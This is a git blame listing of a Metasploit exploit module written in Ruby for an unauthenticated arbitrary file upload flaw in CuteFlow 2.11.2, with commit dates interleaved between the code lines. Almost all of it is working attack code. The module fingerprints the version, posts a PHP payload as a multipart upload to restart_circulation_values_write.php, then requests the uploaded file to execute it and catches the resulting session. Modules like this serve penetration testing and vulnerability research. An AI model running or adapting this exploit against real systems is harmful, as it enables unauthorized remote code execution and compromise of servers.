Files
metasploit-gs/modules/exploits/multi/http/cuteflow_upload_exec.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

121 lines
3.4 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
2013-08-30 16:28:54 -05:00
include Msf::Exploit::Remote::HttpClient
2013-08-30 16:28:54 -05:00
def initialize(info={})
super(update_info(info,
'Name' => "CuteFlow v2.11.2 Arbitrary File Upload Vulnerability",
'Description' => %q{
This module exploits a vulnerability in CuteFlow version 2.11.2 or prior.
This application has an upload feature that allows an unauthenticated
user to upload arbitrary files to the 'upload/___1/' directory
and then execute it.
},
'License' => MSF_LICENSE,
'Author' =>
[
2019-01-10 19:19:14 +00:00
'bcoles' # Discovery and exploit
],
'References' =>
[
2012-08-05 09:02:32 -05:00
['URL', 'http://itsecuritysolutions.org/2012-07-01-CuteFlow-2.11.2-multiple-security-vulnerabilities/'],
['OSVDB', '84829'],
#['EDB', ''],
],
'Payload' =>
{
'BadChars' => "\x00"
},
'DefaultOptions' =>
{
2015-09-01 10:43:45 +02:00
'EXITFUNC' => 'thread'
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' =>
[
['Automatic Targeting', { 'auto' => true }]
],
'Privileged' => false,
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2012-07-27',
'DefaultTarget' => 0))
2013-08-30 16:28:54 -05:00
register_options(
[
OptString.new('TARGETURI', [true, 'The path to the web application', '/cuteflow_v.2.11.2/'])
])
end
2013-08-30 16:28:54 -05:00
def check
2013-08-30 16:28:54 -05:00
2012-11-08 17:42:48 +01:00
base = normalize_uri(target_uri.path)
base << '/' if base[-1, 1] != '/'
res = send_request_raw({
'method' => 'GET',
2013-01-30 23:23:41 -06:00
'uri' => base
})
2013-08-30 16:28:54 -05:00
2012-07-27 01:14:32 -05:00
if res.body =~ /\<strong style\=\"font\-size\:8pt\;font\-weight\:normal\"\>Version 2\.11\.2\<\/strong\>\<br\>/
2014-01-21 14:10:35 -06:00
return Exploit::CheckCode::Appears
2012-07-27 01:14:32 -05:00
elsif res.body =~ /\<a href\=\"http\:\/\/cuteflow\.org" target\=\"\_blank\"\>/
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end
2013-08-30 16:28:54 -05:00
end
2013-08-30 16:28:54 -05:00
def upload(base, fname, file)
2013-08-30 16:28:54 -05:00
# construct post data
boundary = "----WebKitFormBoundary#{rand_text_alphanumeric(10)}"
data_post = "--#{boundary}\r\n"
data_post << "Content-Disposition: form-data; name=\"attachment1\"; filename=\"#{fname}\"\r\n"
data_post << "Content-Type: text/php\r\n"
data_post << "\r\n"
data_post << file
data_post << "\r\n"
data_post << "--#{boundary}\r\n"
2013-08-30 16:28:54 -05:00
# upload
res = send_request_cgi({
'method' => 'POST',
2013-01-30 23:23:41 -06:00
'uri' => normalize_uri(base, "pages/restart_circulation_values_write.php"),
'ctype' => "multipart/form-data; boundary=#{boundary}",
'data' => data_post,
})
2013-08-30 16:28:54 -05:00
return res
end
2013-08-30 16:28:54 -05:00
def exploit
2012-11-08 17:42:48 +01:00
base = normalize_uri(target_uri.path)
base << '/' if base[-1, 1] != '/'
2013-08-30 16:28:54 -05:00
# upload PHP payload to upload/___1/
2016-02-01 15:12:03 -06:00
print_status("Uploading PHP payload (#{payload.encoded.length.to_s} bytes)")
fname = rand_text_alphanumeric(rand(10)+6) + '.php'
php = %Q|<?php #{payload.encoded} ?>|
res = upload(base, fname, php)
if res.nil?
2016-02-01 15:12:03 -06:00
print_error("Uploading PHP payload failed")
return
end
2013-08-30 16:28:54 -05:00
# retrieve and execute PHP payload
2016-02-01 15:12:03 -06:00
print_status("Retrieving file: #{fname}")
send_request_raw({
'method' => 'GET',
2013-01-30 23:23:41 -06:00
'uri' => normalize_uri(base, "upload/___1/#{fname}")
})
2013-08-30 16:28:54 -05:00
handler
end
end